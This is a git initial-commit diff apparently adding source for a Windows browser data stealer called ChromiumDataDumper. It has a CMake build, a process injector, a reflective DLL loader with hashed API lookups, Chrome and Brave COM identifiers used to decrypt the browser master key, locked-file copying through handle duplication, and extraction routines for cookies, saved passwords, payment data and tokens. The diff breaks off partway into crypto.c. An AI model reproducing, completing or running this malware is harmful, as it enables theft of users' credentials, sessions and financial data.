initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
Executable
+84
@@ -0,0 +1,84 @@
|
|||||||
|
cmake_minimum_required(VERSION 3.31)
|
||||||
|
project(ChromiumDataDumper LANGUAGES C CXX)
|
||||||
|
|
||||||
|
set(CMAKE_C_STANDARD 17)
|
||||||
|
set(CMAKE_C_STANDARD_REQUIRED ON)
|
||||||
|
|
||||||
|
set(CMAKE_CXX_STANDARD 23)
|
||||||
|
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||||
|
|
||||||
|
# decryptor
|
||||||
|
set(CHROMIUM_DECRYPTOR_HEADERS
|
||||||
|
decryptor/include/types.h
|
||||||
|
decryptor/include/buffer.h
|
||||||
|
decryptor/include/utils.h
|
||||||
|
decryptor/include/crypto.h
|
||||||
|
decryptor/include/browser.h
|
||||||
|
decryptor/include/profile.h
|
||||||
|
decryptor/include/handle_duplicator.h
|
||||||
|
decryptor/include/extractor.h
|
||||||
|
decryptor/include/orchestrator.h
|
||||||
|
|
||||||
|
decryptor/include/reflective_loader.h
|
||||||
|
)
|
||||||
|
|
||||||
|
set(CHROMIUM_DECRYPTOR_SOURCES
|
||||||
|
decryptor/src/dllmain.c
|
||||||
|
decryptor/src/buffer.c
|
||||||
|
decryptor/src/utils.c
|
||||||
|
decryptor/src/crypto.c
|
||||||
|
decryptor/src/browser.c
|
||||||
|
decryptor/src/profile.c
|
||||||
|
decryptor/src/handle_duplicator.c
|
||||||
|
decryptor/src/extractor.c
|
||||||
|
decryptor/src/orchestrator.c
|
||||||
|
|
||||||
|
decryptor/src/reflective_loader.c
|
||||||
|
)
|
||||||
|
|
||||||
|
find_package(EASTL CONFIG REQUIRED)
|
||||||
|
|
||||||
|
add_library(ChromiumDecryptor SHARED ${CHROMIUM_DECRYPTOR_HEADERS} ${CHROMIUM_DECRYPTOR_SOURCES})
|
||||||
|
|
||||||
|
target_include_directories(ChromiumDecryptor PRIVATE
|
||||||
|
${CMAKE_CURRENT_SOURCE_DIR}/decryptor/include
|
||||||
|
${CMAKE_CURRENT_SOURCE_DIR}/third_party/sqlite
|
||||||
|
)
|
||||||
|
|
||||||
|
add_library(sqlite3 STATIC
|
||||||
|
third_party/sqlite/sqlite3.h
|
||||||
|
third_party/sqlite/sqlite3.c
|
||||||
|
)
|
||||||
|
|
||||||
|
target_link_libraries(ChromiumDecryptor PRIVATE sqlite3 EASTL)
|
||||||
|
|
||||||
|
# injector
|
||||||
|
set(CHROMIUM_INJECTOR_HEADERS
|
||||||
|
injector/include/types.h
|
||||||
|
injector/include/utils.h
|
||||||
|
injector/include/browser_resolver.h
|
||||||
|
injector/include/target_process.h
|
||||||
|
injector/include/pipe_communicator.h
|
||||||
|
injector/include/injection_manager.h
|
||||||
|
)
|
||||||
|
|
||||||
|
set(CHROMIUM_INJECTOR_SOURCES
|
||||||
|
injector/src/main.c
|
||||||
|
injector/src/utils.c
|
||||||
|
injector/src/browser_resolver.c
|
||||||
|
injector/src/target_process.c
|
||||||
|
injector/src/pipe_communicator.c
|
||||||
|
injector/src/injection_manager.c
|
||||||
|
)
|
||||||
|
|
||||||
|
add_executable(ChromiumInjector ${CHROMIUM_INJECTOR_HEADERS} ${CHROMIUM_INJECTOR_SOURCES})
|
||||||
|
|
||||||
|
target_include_directories(ChromiumInjector PRIVATE
|
||||||
|
${CMAKE_CURRENT_SOURCE_DIR}/injector/include
|
||||||
|
)
|
||||||
|
|
||||||
|
if (MSVC)
|
||||||
|
add_compile_options(/wd4471)
|
||||||
|
elseif (CMAKE_CXX_COMPILER_ID STREQUAL "Clang")
|
||||||
|
add_compile_options(-Wno-enum-forward-declaration)
|
||||||
|
endif()
|
||||||
+9
@@ -0,0 +1,9 @@
|
|||||||
|
#ifndef BROWSER_H
|
||||||
|
#define BROWSER_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool browser_get_config_for_process(BrowserConfig* config);
|
||||||
|
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len);
|
||||||
|
|
||||||
|
#endif // BROWSER_H
|
||||||
+21
@@ -0,0 +1,21 @@
|
|||||||
|
#ifndef BUFFER_H
|
||||||
|
#define BUFFER_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
ByteBuffer* buffer_create(size_t initial_capacity);
|
||||||
|
void buffer_destroy(ByteBuffer* buf);
|
||||||
|
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len);
|
||||||
|
bool buffer_resize(ByteBuffer* buf, size_t new_size);
|
||||||
|
void buffer_clear(ByteBuffer* buf);
|
||||||
|
|
||||||
|
StringArray* string_array_create(size_t initial_capacity);
|
||||||
|
void string_array_destroy(StringArray* arr);
|
||||||
|
bool string_array_add(StringArray* arr, const char* str);
|
||||||
|
bool string_array_contains(StringArray* arr, const char* str);
|
||||||
|
|
||||||
|
ProfileList* profile_list_create(size_t initial_capacity);
|
||||||
|
void profile_list_destroy(ProfileList* list);
|
||||||
|
bool profile_list_add(ProfileList* list, const wchar_t* path);
|
||||||
|
|
||||||
|
#endif // BUFFER_H
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
#ifndef CRYPTO_H
|
||||||
|
#define CRYPTO_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len);
|
||||||
|
|
||||||
|
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path);
|
||||||
|
|
||||||
|
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len);
|
||||||
|
|
||||||
|
#endif // CRYPTO_H
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
#ifndef EXTRACTOR_H
|
||||||
|
#define EXTRACTOR_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
#include "sqlite3.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
const wchar_t* db_path;
|
||||||
|
const char* output_name;
|
||||||
|
const char* sql_query;
|
||||||
|
} ExtractionConfig;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
const wchar_t* profile_path;
|
||||||
|
const wchar_t* output_base;
|
||||||
|
const char* browser_name;
|
||||||
|
const uint8_t* aes_key;
|
||||||
|
size_t key_len;
|
||||||
|
} ExtractionContext;
|
||||||
|
|
||||||
|
StringArray* extract_cookies(const ExtractionContext* ctx);
|
||||||
|
StringArray* extract_passwords(const ExtractionContext* ctx);
|
||||||
|
StringArray* extract_payments(const ExtractionContext* ctx);
|
||||||
|
StringArray* extract_tokens(const ExtractionContext* ctx);
|
||||||
|
|
||||||
|
bool write_json_array(const wchar_t* file_path, StringArray* entries);
|
||||||
|
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);
|
||||||
|
|
||||||
|
void cleanup_temp_files(void);
|
||||||
|
|
||||||
|
#endif // EXTRACTOR_H
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#ifndef HANDLE_DUPLICATOR_H
|
||||||
|
#define HANDLE_DUPLICATOR_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path);
|
||||||
|
|
||||||
|
#endif // HANDLE_DUPLICATOR_H
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
#ifndef ORCHESTRATOR_H
|
||||||
|
#define ORCHESTRATOR_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
wchar_t pipe_name[256];
|
||||||
|
wchar_t output_path[MAX_PATH_LEN];
|
||||||
|
bool extract_fingerprint;
|
||||||
|
HANDLE pipe_handle;
|
||||||
|
} OrchestratorConfig;
|
||||||
|
|
||||||
|
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name);
|
||||||
|
bool orchestrator_run(OrchestratorConfig* config);
|
||||||
|
void orchestrator_cleanup(OrchestratorConfig* config);
|
||||||
|
|
||||||
|
#endif // ORCHESTRATOR_H
|
||||||
+8
@@ -0,0 +1,8 @@
|
|||||||
|
#ifndef PROFILE_H
|
||||||
|
#define PROFILE_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
ProfileList* profile_find_all(const wchar_t* user_data_root);
|
||||||
|
|
||||||
|
#endif // PROFILE_H
|
||||||
+210
@@ -0,0 +1,210 @@
|
|||||||
|
|
||||||
|
#ifndef REFLECTIVE_LOADER_H
|
||||||
|
#define REFLECTIVE_LOADER_H
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#if defined(_M_X64) || defined(_M_ARM64)
|
||||||
|
#define ENVIRONMENT64
|
||||||
|
#else
|
||||||
|
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#define DLLEXPORT __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLLEXPORT
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
|
||||||
|
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
|
||||||
|
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
|
||||||
|
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
typedef struct _UNICODE_STRING_LDR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR Buffer;
|
||||||
|
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
|
||||||
|
|
||||||
|
typedef struct _PEB_LDR_DATA_LDR
|
||||||
|
{
|
||||||
|
ULONG Length;
|
||||||
|
BOOLEAN Initialized;
|
||||||
|
HANDLE SsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID EntryInProgress;
|
||||||
|
BOOLEAN ShutdownInProgress;
|
||||||
|
HANDLE ShutdownThreadId;
|
||||||
|
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
|
||||||
|
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
|
||||||
|
{
|
||||||
|
LIST_ENTRY InLoadOrderLinks;
|
||||||
|
LIST_ENTRY InMemoryOrderLinks;
|
||||||
|
LIST_ENTRY InInitializationOrderLinks;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STRING_LDR FullDllName;
|
||||||
|
UNICODE_STRING_LDR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT TlsIndex;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LIST_ENTRY HashLinks;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
PVOID SectionPointer;
|
||||||
|
ULONG CheckSum;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
union
|
||||||
|
{
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
PVOID LoadedImports;
|
||||||
|
};
|
||||||
|
PVOID EntryPointActivationContext;
|
||||||
|
PVOID PatchInformation;
|
||||||
|
LIST_ENTRY ForwarderLinks;
|
||||||
|
LIST_ENTRY ServiceTagLinks;
|
||||||
|
LIST_ENTRY StaticLinks;
|
||||||
|
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
|
||||||
|
|
||||||
|
typedef struct _PEB_LDR
|
||||||
|
{
|
||||||
|
BOOLEAN InheritedAddressSpace;
|
||||||
|
BOOLEAN ReadImageFileExecOptions;
|
||||||
|
BOOLEAN BeingDebugged;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
BOOLEAN BitField;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
BOOLEAN ImageUsesLargePages : 1;
|
||||||
|
BOOLEAN IsProtectedProcess : 1;
|
||||||
|
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||||
|
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||||
|
BOOLEAN IsPackagedProcess : 1;
|
||||||
|
BOOLEAN IsAppContainer : 1;
|
||||||
|
BOOLEAN IsProtectedProcessLight : 1;
|
||||||
|
BOOLEAN IsLongPathAware : 1;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
HANDLE Mutant;
|
||||||
|
PVOID ImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA_LDR Ldr;
|
||||||
|
PVOID ProcessParameters;
|
||||||
|
PVOID SubSystemData;
|
||||||
|
PVOID ProcessHeap;
|
||||||
|
PVOID FastPebLock;
|
||||||
|
PVOID AtlThunkSListPtr;
|
||||||
|
PVOID IFEOKey;
|
||||||
|
union
|
||||||
|
{
|
||||||
|
ULONG CrossProcessFlags;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
ULONG ProcessInJob : 1;
|
||||||
|
ULONG ProcessInitializing : 1;
|
||||||
|
ULONG ProcessUsingVEH : 1;
|
||||||
|
ULONG ProcessUsingVCH : 1;
|
||||||
|
ULONG ProcessUsingFTH : 1;
|
||||||
|
ULONG ProcessPreviouslyThrottled : 1;
|
||||||
|
ULONG ProcessCurrentlyThrottled : 1;
|
||||||
|
ULONG ProcessImagesHotPatched : 1;
|
||||||
|
ULONG ReservedBits0 : 24;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
union
|
||||||
|
{
|
||||||
|
PVOID KernelCallbackTable;
|
||||||
|
PVOID UserSharedInfoPtr;
|
||||||
|
};
|
||||||
|
ULONG SystemReserved;
|
||||||
|
ULONG AtlThunkSListPtr32;
|
||||||
|
PVOID ApiSetMap;
|
||||||
|
ULONG TlsExpansionCounter;
|
||||||
|
PVOID TlsBitmap;
|
||||||
|
ULONG TlsBitmapBits[2];
|
||||||
|
PVOID ReadOnlySharedMemoryBase;
|
||||||
|
PVOID SharedData;
|
||||||
|
PVOID *ReadOnlyStaticServerData;
|
||||||
|
PVOID AnsiCodePageData;
|
||||||
|
PVOID OemCodePageData;
|
||||||
|
PVOID UnicodeCaseTableData;
|
||||||
|
ULONG NumberOfProcessors;
|
||||||
|
ULONG NtGlobalFlag;
|
||||||
|
LARGE_INTEGER CriticalSectionTimeout;
|
||||||
|
SIZE_T HeapSegmentReserve;
|
||||||
|
SIZE_T HeapSegmentCommit;
|
||||||
|
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||||
|
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||||
|
ULONG NumberOfHeaps;
|
||||||
|
ULONG MaximumNumberOfHeaps;
|
||||||
|
PVOID *ProcessHeaps;
|
||||||
|
PVOID GdiSharedHandleTable;
|
||||||
|
PVOID ProcessStarterHelper;
|
||||||
|
ULONG GdiDCAttributeList;
|
||||||
|
PVOID LoaderLock;
|
||||||
|
ULONG OSMajorVersion;
|
||||||
|
ULONG OSMinorVersion;
|
||||||
|
USHORT OSBuildNumber;
|
||||||
|
USHORT OSCSDVersion;
|
||||||
|
ULONG OSPlatformId;
|
||||||
|
ULONG ImageSubsystem;
|
||||||
|
ULONG ImageSubsystemMajorVersion;
|
||||||
|
ULONG ImageSubsystemMinorVersion;
|
||||||
|
ULONG_PTR ActiveProcessAffinityMask;
|
||||||
|
ULONG GdiHandleBuffer[60];
|
||||||
|
PVOID PostProcessInitRoutine;
|
||||||
|
PVOID TlsExpansionBitmap;
|
||||||
|
ULONG TlsExpansionBitmapBits[32];
|
||||||
|
ULONG SessionId;
|
||||||
|
ULARGE_INTEGER AppCompatFlags;
|
||||||
|
ULARGE_INTEGER AppCompatFlagsUser;
|
||||||
|
PVOID pShimData;
|
||||||
|
PVOID AppCompatInfo;
|
||||||
|
UNICODE_STRING_LDR CSDVersion;
|
||||||
|
PVOID ActivationContextData;
|
||||||
|
PVOID ProcessAssemblyStorageMap;
|
||||||
|
PVOID SystemDefaultActivationContextData;
|
||||||
|
PVOID SystemAssemblyStorageMap;
|
||||||
|
SIZE_T MinimumStackCommit;
|
||||||
|
PVOID SparePointers[2];
|
||||||
|
PVOID PatchLoaderData;
|
||||||
|
PVOID ChpeV2ProcessInfo;
|
||||||
|
ULONG AppModelFeatureState;
|
||||||
|
ULONG SpareUlongs[2];
|
||||||
|
USHORT ActiveConsoleId;
|
||||||
|
USHORT AppCompatVersionInfo;
|
||||||
|
PVOID ExtendedProcessInfo;
|
||||||
|
} PEB_LDR, *PPEB_LDR;
|
||||||
|
|
||||||
|
typedef struct _IMAGE_RELOC_ENTRY
|
||||||
|
{
|
||||||
|
WORD offset : 12;
|
||||||
|
WORD type : 4;
|
||||||
|
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
|
||||||
|
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
||||||
|
|
||||||
|
#endif
|
||||||
Executable
+55
@@ -0,0 +1,55 @@
|
|||||||
|
#ifndef TYPES_H
|
||||||
|
#define TYPES_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#define MAX_PATH_LEN 512
|
||||||
|
#define MAX_QUERY_LEN 1024
|
||||||
|
#define MAX_JSON_LEN 4096
|
||||||
|
#define MAX_NETSCAPE_LEN 4096
|
||||||
|
#define COOKIE_PLAINTEXT_HEADER_SIZE 32
|
||||||
|
#define KEY_SIZE 32
|
||||||
|
#define GCM_IV_LENGTH 12
|
||||||
|
#define GCM_TAG_LENGTH 16
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
PROTECTION_NONE = 0,
|
||||||
|
PROTECTION_PATH_VALIDATION_OLD = 1,
|
||||||
|
PROTECTION_PATH_VALIDATION = 2,
|
||||||
|
PROTECTION_MAX = 3
|
||||||
|
} ProtectionLevel;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
char name[64];
|
||||||
|
wchar_t process_name[64];
|
||||||
|
CLSID clsid;
|
||||||
|
IID iid;
|
||||||
|
wchar_t user_data_path[MAX_PATH_LEN];
|
||||||
|
} BrowserConfig;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint8_t* data;
|
||||||
|
size_t size;
|
||||||
|
size_t capacity;
|
||||||
|
} ByteBuffer;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
char** items;
|
||||||
|
size_t count;
|
||||||
|
size_t capacity;
|
||||||
|
} StringArray;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
wchar_t path[MAX_PATH_LEN];
|
||||||
|
bool is_valid;
|
||||||
|
} ProfilePath;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
ProfilePath* paths;
|
||||||
|
size_t count;
|
||||||
|
size_t capacity;
|
||||||
|
} ProfileList;
|
||||||
|
|
||||||
|
#endif // TYPES_H
|
||||||
Executable
+13
@@ -0,0 +1,13 @@
|
|||||||
|
#ifndef UTILS_H
|
||||||
|
#define UTILS_H
|
||||||
|
|
||||||
|
#include "types.h"
|
||||||
|
|
||||||
|
bool get_local_appdata_path(wchar_t* path, size_t len);
|
||||||
|
ByteBuffer* base64_decode(const char* input);
|
||||||
|
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len);
|
||||||
|
char* escape_json_string(const char* str);
|
||||||
|
bool read_file_content(const wchar_t* path, char** content, size_t* size);
|
||||||
|
bool write_file_content(const wchar_t* path, const char* content, size_t size);
|
||||||
|
|
||||||
|
#endif // UTILS_H
|
||||||
Executable
+68
@@ -0,0 +1,68 @@
|
|||||||
|
#include "browser.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
static const CLSID CLSID_CHROME = { 0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B} };
|
||||||
|
static const IID IID_CHROME = { 0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8} };
|
||||||
|
|
||||||
|
static const CLSID CLSID_BRAVE = { 0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B} };
|
||||||
|
static const IID IID_BRAVE = { 0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9} };
|
||||||
|
|
||||||
|
static void init_chrome_config(BrowserConfig* cfg) {
|
||||||
|
strcpy_s(cfg->name, sizeof(cfg->name), "Chrome");
|
||||||
|
wcscpy_s(cfg->process_name, 64, L"chrome.exe");
|
||||||
|
cfg->clsid = CLSID_CHROME;
|
||||||
|
cfg->iid = IID_CHROME;
|
||||||
|
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN, L"Google\\Chrome\\User Data");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void init_brave_config(BrowserConfig* cfg) {
|
||||||
|
strcpy_s(cfg->name, sizeof(cfg->name), "Brave");
|
||||||
|
wcscpy_s(cfg->process_name, 64, L"brave.exe");
|
||||||
|
cfg->clsid = CLSID_BRAVE;
|
||||||
|
cfg->iid = IID_BRAVE;
|
||||||
|
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN,
|
||||||
|
L"BraveSoftware\\Brave-Browser\\User Data");
|
||||||
|
}
|
||||||
|
|
||||||
|
bool browser_get_config_for_process(BrowserConfig* config) {
|
||||||
|
if (!config) return false;
|
||||||
|
|
||||||
|
char exe_path[MAX_PATH];
|
||||||
|
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
|
||||||
|
|
||||||
|
char* filename = strrchr(exe_path, '\\');
|
||||||
|
if (!filename) filename = exe_path;
|
||||||
|
else filename++;
|
||||||
|
|
||||||
|
for (char* p = filename; *p; p++) {
|
||||||
|
*p = (char)tolower(*p);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strcmp(filename, "chrome.exe") == 0) {
|
||||||
|
init_chrome_config(config);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strcmp(filename, "brave.exe") == 0) {
|
||||||
|
init_brave_config(config);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len) {
|
||||||
|
if (!config || !path) return false;
|
||||||
|
|
||||||
|
wchar_t appdata[MAX_PATH_LEN];
|
||||||
|
if (!get_local_appdata_path(appdata, MAX_PATH_LEN)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
swprintf_s(path, len, L"%s\\%s", appdata, config->user_data_path);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+148
@@ -0,0 +1,148 @@
|
|||||||
|
#include "buffer.h"
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
ByteBuffer* buffer_create(size_t initial_capacity) {
|
||||||
|
ByteBuffer* buf = malloc(sizeof(ByteBuffer));
|
||||||
|
if (!buf) return NULL;
|
||||||
|
|
||||||
|
buf->data = malloc(initial_capacity);
|
||||||
|
if (!buf->data) {
|
||||||
|
free(buf);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf->size = 0;
|
||||||
|
buf->capacity = initial_capacity;
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
void buffer_destroy(ByteBuffer* buf) {
|
||||||
|
if (!buf) return;
|
||||||
|
free(buf->data);
|
||||||
|
free(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len) {
|
||||||
|
if (!buf || !data) return false;
|
||||||
|
|
||||||
|
if (buf->size + len > buf->capacity) {
|
||||||
|
size_t new_cap = (buf->size + len) * 2;
|
||||||
|
uint8_t* new_data = realloc(buf->data, new_cap);
|
||||||
|
if (!new_data) return false;
|
||||||
|
buf->data = new_data;
|
||||||
|
buf->capacity = new_cap;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(buf->data + buf->size, data, len);
|
||||||
|
buf->size += len;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool buffer_resize(ByteBuffer* buf, size_t new_size) {
|
||||||
|
if (!buf) return false;
|
||||||
|
|
||||||
|
if (new_size > buf->capacity) {
|
||||||
|
uint8_t* new_data = realloc(buf->data, new_size);
|
||||||
|
if (!new_data) return false;
|
||||||
|
buf->data = new_data;
|
||||||
|
buf->capacity = new_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf->size = new_size;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void buffer_clear(ByteBuffer* buf) {
|
||||||
|
if (buf) buf->size = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* string_array_create(size_t initial_capacity) {
|
||||||
|
StringArray* arr = malloc(sizeof(StringArray));
|
||||||
|
if (!arr) return NULL;
|
||||||
|
|
||||||
|
arr->items = malloc(sizeof(char*) * initial_capacity);
|
||||||
|
if (!arr->items) {
|
||||||
|
free(arr);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
arr->count = 0;
|
||||||
|
arr->capacity = initial_capacity;
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void string_array_destroy(StringArray* arr) {
|
||||||
|
if (!arr) return;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < arr->count; i++) {
|
||||||
|
free(arr->items[i]);
|
||||||
|
}
|
||||||
|
free(arr->items);
|
||||||
|
free(arr);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool string_array_add(StringArray* arr, const char* str) {
|
||||||
|
if (!arr || !str) return false;
|
||||||
|
|
||||||
|
if (arr->count >= arr->capacity) {
|
||||||
|
size_t new_cap = arr->capacity * 2;
|
||||||
|
char** new_items = realloc(arr->items, sizeof(char*) * new_cap);
|
||||||
|
if (!new_items) return false;
|
||||||
|
arr->items = new_items;
|
||||||
|
arr->capacity = new_cap;
|
||||||
|
}
|
||||||
|
|
||||||
|
arr->items[arr->count] = _strdup(str);
|
||||||
|
if (!arr->items[arr->count]) return false;
|
||||||
|
arr->count++;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool string_array_contains(StringArray* arr, const char* str) {
|
||||||
|
if (!arr || !str) return false;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < arr->count; i++) {
|
||||||
|
if (strcmp(arr->items[i], str) == 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProfileList* profile_list_create(size_t initial_capacity) {
|
||||||
|
ProfileList* list = malloc(sizeof(ProfileList));
|
||||||
|
if (!list) return NULL;
|
||||||
|
|
||||||
|
list->paths = malloc(sizeof(ProfilePath) * initial_capacity);
|
||||||
|
if (!list->paths) {
|
||||||
|
free(list);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
list->count = 0;
|
||||||
|
list->capacity = initial_capacity;
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
|
||||||
|
void profile_list_destroy(ProfileList* list) {
|
||||||
|
if (!list) return;
|
||||||
|
free(list->paths);
|
||||||
|
free(list);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool profile_list_add(ProfileList* list, const wchar_t* path) {
|
||||||
|
if (!list || !path) return false;
|
||||||
|
|
||||||
|
if (list->count >= list->capacity) {
|
||||||
|
size_t new_cap = list->capacity * 2;
|
||||||
|
ProfilePath* new_paths = realloc(list->paths, sizeof(ProfilePath) * new_cap);
|
||||||
|
if (!new_paths) return false;
|
||||||
|
list->paths = new_paths;
|
||||||
|
list->capacity = new_cap;
|
||||||
|
}
|
||||||
|
|
||||||
|
wcsncpy_s(list->paths[list->count].path, MAX_PATH_LEN, path, _TRUNCATE);
|
||||||
|
list->paths[list->count].is_valid = true;
|
||||||
|
list->count++;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+206
@@ -0,0 +1,206 @@
|
|||||||
|
#include "crypto.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <bcrypt.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
